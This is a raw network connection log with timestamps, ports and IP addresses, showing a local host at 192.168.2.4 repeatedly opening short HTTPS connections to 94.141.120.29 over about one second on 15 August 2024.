Aug 15, 2024 08:10:46.880119085 CEST	50354	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.894417048 CEST	50354	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.894454002 CEST	443	50354	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.894481897 CEST	443	50354	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.898701906 CEST	50355	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.898781061 CEST	443	50355	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.898866892 CEST	50355	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.906972885 CEST	50355	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.907047987 CEST	443	50355	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.907083988 CEST	443	50355	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.911422014 CEST	50356	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.911501884 CEST	443	50356	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.911593914 CEST	50356	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.919559956 CEST	50356	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.919630051 CEST	443	50356	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.919687033 CEST	443	50356	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.923397064 CEST	50357	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.923475027 CEST	443	50357	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.927913904 CEST	50357	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.936584949 CEST	50357	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.936654091 CEST	443	50357	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.936691046 CEST	443	50357	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.943263054 CEST	50358	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.943341970 CEST	443	50358	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.943432093 CEST	50358	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.952385902 CEST	50358	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.952461958 CEST	443	50358	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.952541113 CEST	443	50358	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.959465981 CEST	50359	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.959543943 CEST	443	50359	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.959656954 CEST	50359	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.967803001 CEST	50359	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.967880011 CEST	443	50359	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.967915058 CEST	443	50359	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.972179890 CEST	50360	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.972219944 CEST	443	50360	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.972446918 CEST	50360	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.981106043 CEST	50360	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.981146097 CEST	443	50360	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.981168985 CEST	443	50360	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.985358953 CEST	50361	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:46.985439062 CEST	443	50361	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:46.985686064 CEST	50361	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.004966974 CEST	50361	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.005044937 CEST	443	50361	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.005085945 CEST	443	50361	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.011953115 CEST	50362	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.012032986 CEST	443	50362	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.012310028 CEST	50362	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.035706043 CEST	50362	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.035774946 CEST	443	50362	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.035960913 CEST	443	50362	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.051155090 CEST	50363	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.051234007 CEST	443	50363	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.051316023 CEST	50363	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.078185081 CEST	50363	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.078224897 CEST	443	50363	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.078254938 CEST	443	50363	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.086193085 CEST	50364	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.086273909 CEST	443	50364	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.086357117 CEST	50364	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.095192909 CEST	50364	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.095272064 CEST	443	50364	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.095314980 CEST	443	50364	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.109576941 CEST	50365	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.109658003 CEST	443	50365	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.109740019 CEST	50365	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.133224964 CEST	50365	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.133301973 CEST	443	50365	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.133354902 CEST	443	50365	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.140454054 CEST	50366	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.140535116 CEST	443	50366	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.140799046 CEST	50366	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.150182009 CEST	50366	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.150259018 CEST	443	50366	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.150304079 CEST	443	50366	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.154923916 CEST	50367	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.155004978 CEST	443	50367	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.155270100 CEST	50367	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.165419102 CEST	50367	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.165494919 CEST	443	50367	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.165535927 CEST	443	50367	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.169789076 CEST	50368	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.169847965 CEST	443	50368	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.169910908 CEST	50368	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.178735018 CEST	50368	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.178751945 CEST	443	50368	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.178771019 CEST	443	50368	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.182763100 CEST	50369	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.182826996 CEST	443	50369	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.183413029 CEST	50369	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.192931890 CEST	50369	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.192945004 CEST	443	50369	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.192970991 CEST	443	50369	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.197798014 CEST	50370	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.197808027 CEST	443	50370	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.197866917 CEST	50370	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.209598064 CEST	50370	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.209610939 CEST	443	50370	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.209642887 CEST	443	50370	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.214392900 CEST	50371	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.214407921 CEST	443	50371	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.214462042 CEST	50371	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.226061106 CEST	50371	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.226075888 CEST	443	50371	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.226105928 CEST	443	50371	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.232348919 CEST	50372	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.232361078 CEST	443	50372	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.232692003 CEST	50372	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.242521048 CEST	50372	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.242531061 CEST	443	50372	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.242563009 CEST	443	50372	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.247493029 CEST	50373	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.247503042 CEST	443	50373	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.247555017 CEST	50373	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.259438038 CEST	50373	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.259447098 CEST	443	50373	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.259475946 CEST	443	50373	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.263664961 CEST	50374	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.263672113 CEST	443	50374	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.263741016 CEST	50374	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.274693012 CEST	50374	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.274703026 CEST	443	50374	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.274730921 CEST	443	50374	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.278896093 CEST	50375	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.278906107 CEST	443	50375	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.278964043 CEST	50375	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.289097071 CEST	50375	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.289105892 CEST	443	50375	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.289134026 CEST	443	50375	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.293234110 CEST	50376	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.293241024 CEST	443	50376	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.293387890 CEST	50376	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.304761887 CEST	50376	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.304770947 CEST	443	50376	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.304842949 CEST	443	50376	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.309855938 CEST	50377	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.309865952 CEST	443	50377	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.310132027 CEST	50377	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.319036007 CEST	50377	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.319046021 CEST	443	50377	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.319078922 CEST	443	50377	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.323111057 CEST	50378	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.323118925 CEST	443	50378	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.323410034 CEST	50378	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.333843946 CEST	50378	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.333852053 CEST	443	50378	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.333919048 CEST	443	50378	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.339613914 CEST	50379	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.339623928 CEST	443	50379	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.339677095 CEST	50379	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.351175070 CEST	50379	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.351183891 CEST	443	50379	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.351214886 CEST	443	50379	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.355423927 CEST	50380	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.355432987 CEST	443	50380	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.355611086 CEST	50380	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.366379976 CEST	50380	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.366399050 CEST	443	50380	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.366425991 CEST	443	50380	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.370734930 CEST	50381	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.370745897 CEST	443	50381	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.370955944 CEST	50381	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.381140947 CEST	50381	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.381151915 CEST	443	50381	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.381181002 CEST	443	50381	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.385859966 CEST	50382	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.385867119 CEST	443	50382	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.385921955 CEST	50382	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.396995068 CEST	50382	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.397002935 CEST	443	50382	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.397036076 CEST	443	50382	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.401923895 CEST	50383	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.401947975 CEST	443	50383	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.402041912 CEST	50383	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.413721085 CEST	50383	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.413741112 CEST	443	50383	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.413763046 CEST	443	50383	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.418908119 CEST	50384	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.418930054 CEST	443	50384	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.419049978 CEST	50384	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.433248043 CEST	50384	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.433259010 CEST	443	50384	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.433291912 CEST	443	50384	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.439135075 CEST	50385	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.439160109 CEST	443	50385	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.439739943 CEST	50385	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.462527037 CEST	50385	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.462555885 CEST	443	50385	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.462605000 CEST	443	50385	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.468493938 CEST	50386	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.468514919 CEST	443	50386	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.471694946 CEST	50386	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.481038094 CEST	50386	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.481049061 CEST	443	50386	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.481075048 CEST	443	50386	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.485577106 CEST	50387	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.485605955 CEST	443	50387	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.486267090 CEST	50387	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.501173973 CEST	50387	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.501194000 CEST	443	50387	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.501219034 CEST	443	50387	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.505925894 CEST	50388	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.505934954 CEST	443	50388	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.506083965 CEST	50388	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.518762112 CEST	50388	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.518771887 CEST	443	50388	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.518806934 CEST	443	50388	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.524317980 CEST	50389	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.524327993 CEST	443	50389	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.524555922 CEST	50389	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.536446095 CEST	50389	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.536453009 CEST	443	50389	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.536479950 CEST	443	50389	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.540843010 CEST	50390	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.540853024 CEST	443	50390	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.541022062 CEST	50390	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.550457954 CEST	50390	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.550467014 CEST	443	50390	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.550491095 CEST	443	50390	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.554686069 CEST	50391	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.554693937 CEST	443	50391	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.555388927 CEST	50391	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.563973904 CEST	50391	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.563982964 CEST	443	50391	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.564007044 CEST	443	50391	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.568726063 CEST	50392	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.568734884 CEST	443	50392	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.569777966 CEST	50392	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.578963041 CEST	50392	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.578973055 CEST	443	50392	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.578995943 CEST	443	50392	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.583508968 CEST	50393	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.583520889 CEST	443	50393	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.583937883 CEST	50393	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.593220949 CEST	50393	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.593231916 CEST	443	50393	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.593251944 CEST	443	50393	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.597657919 CEST	50394	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.597665071 CEST	443	50394	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.599927902 CEST	50394	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.609025955 CEST	50394	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.609035969 CEST	443	50394	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.609060049 CEST	443	50394	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.613745928 CEST	50395	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.613756895 CEST	443	50395	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.615453005 CEST	50395	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.624252081 CEST	50395	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.624264956 CEST	443	50395	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.624288082 CEST	443	50395	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.628576040 CEST	50396	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.628597975 CEST	443	50396	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.628669024 CEST	50396	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.640980005 CEST	50396	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.640990019 CEST	443	50396	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.641025066 CEST	443	50396	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.648430109 CEST	50397	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.648442030 CEST	443	50397	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.651434898 CEST	50397	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.661036968 CEST	50397	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.661046982 CEST	443	50397	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.661070108 CEST	443	50397	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.665230989 CEST	50398	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.665237904 CEST	443	50398	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.667463064 CEST	50398	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.676800013 CEST	50398	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.676809072 CEST	443	50398	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.676829100 CEST	443	50398	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.681031942 CEST	50399	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.681041002 CEST	443	50399	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.683613062 CEST	50399	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.698333979 CEST	50399	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.698352098 CEST	443	50399	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.698374987 CEST	443	50399	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.704402924 CEST	50400	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.704510927 CEST	443	50400	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.704829931 CEST	50400	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.721144915 CEST	50400	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.721221924 CEST	443	50400	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.721262932 CEST	443	50400	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.729866028 CEST	50401	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.729976892 CEST	443	50401	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.730053902 CEST	50401	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.756004095 CEST	50401	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.756078005 CEST	443	50401	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.756223917 CEST	443	50401	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.763015032 CEST	50402	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.763093948 CEST	443	50402	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.763348103 CEST	50402	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.781802893 CEST	50402	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.781843901 CEST	443	50402	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.781902075 CEST	443	50402	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.788603067 CEST	50403	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.788681984 CEST	443	50403	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.788954020 CEST	50403	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.811317921 CEST	50403	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.811419964 CEST	443	50403	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.811650991 CEST	443	50403	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.818707943 CEST	50404	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.818789005 CEST	443	50404	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.819077015 CEST	50404	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.838385105 CEST	50404	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.838445902 CEST	443	50404	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.838550091 CEST	443	50404	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.845585108 CEST	50405	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.845664978 CEST	443	50405	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.845778942 CEST	50405	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.866067886 CEST	50405	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.866138935 CEST	443	50405	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.866309881 CEST	443	50405	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.870846987 CEST	50406	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.870925903 CEST	443	50406	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.871099949 CEST	50406	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.881833076 CEST	50406	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.881901979 CEST	443	50406	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.881970882 CEST	443	50406	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.887749910 CEST	50407	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.887809038 CEST	443	50407	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.887877941 CEST	50407	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.899996042 CEST	50407	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.900027037 CEST	443	50407	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.900336981 CEST	443	50407	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.906065941 CEST	50408	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.906095982 CEST	443	50408	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.906210899 CEST	50408	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.920557022 CEST	50408	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.920622110 CEST	443	50408	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.920727968 CEST	443	50408	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.926376104 CEST	50409	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.926454067 CEST	443	50409	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.926584959 CEST	50409	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.935682058 CEST	50409	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.935720921 CEST	443	50409	94.141.120.29	192.168.2.4
